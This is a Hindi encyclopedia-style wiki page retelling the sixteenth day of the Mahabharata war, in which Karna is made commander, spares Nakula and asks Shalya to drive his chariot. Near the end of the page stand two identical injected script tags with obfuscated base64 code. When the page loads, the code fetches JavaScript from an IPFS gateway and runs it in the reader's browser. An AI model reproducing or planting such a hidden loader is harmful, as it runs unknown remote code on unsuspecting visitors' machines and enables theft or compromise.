महाभारत युद्ध सोलहवाँ दिन

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 10:47, 2 जनवरी 2018 का अवतरण (Text replacement - "जरूर" to "ज़रूर")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

द्रोणाचार्य की मृत्यु के बाद कर्ण को कौरवों का सेनापति बनाया गया। कर्ण ने प्रतिज्ञा की कि- "मैं पूरी शक्ति से पांडवों का संहार करूँगा"।

  • कर्ण ने अपनी सेना का व्यूह रचा। इसी समय नकुल कर्ण के सामने युद्ध के लिए आए। कर्ण ने नकुल को घायल कर दिया, किंतु कुंती को दी हुई अपनी प्रतिज्ञा को याद करके नकुल का वध नहीं किया।
  • दूसरी ओर अर्जुन संसप्तकों से लड़ रहे थे। कृष्ण ने अर्जुन से कहा- "तुम्हें कर्ण से युद्ध करना है।" तभी सूर्यास्त हो गया तथा युद्ध बंद हो गया।
  • रात्रि में कर्ण ने दुर्योधन से कहा- "अर्जुन के पास विशाल रथ, कुशल सारथी, गांडीव तथा अक्षय तूणीर आदि हैं। हमें इन सबकी चिंता नहीं, पर हमें एक कुशल सारथी की ज़रूरत है। कृष्ण के समान ही महाराज शल्य इस कला में निपुण हैं। यदि वे मेरे रथ का संचालन करें तो युद्ध में अवश्य सफलता मिलेगी।"[1]
  • शल्य ने कर्ण का सारथी बनना स्वीकार कर लिया, पर कहा कि- "मुझे अपनी जिव्हा पर भरोसा नहीं है। कहीं कर्ण मेरी बात से नाराज़ होकर कुछ उल्टा न कर बैठे, मुझे इसी बात का डर है।"


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख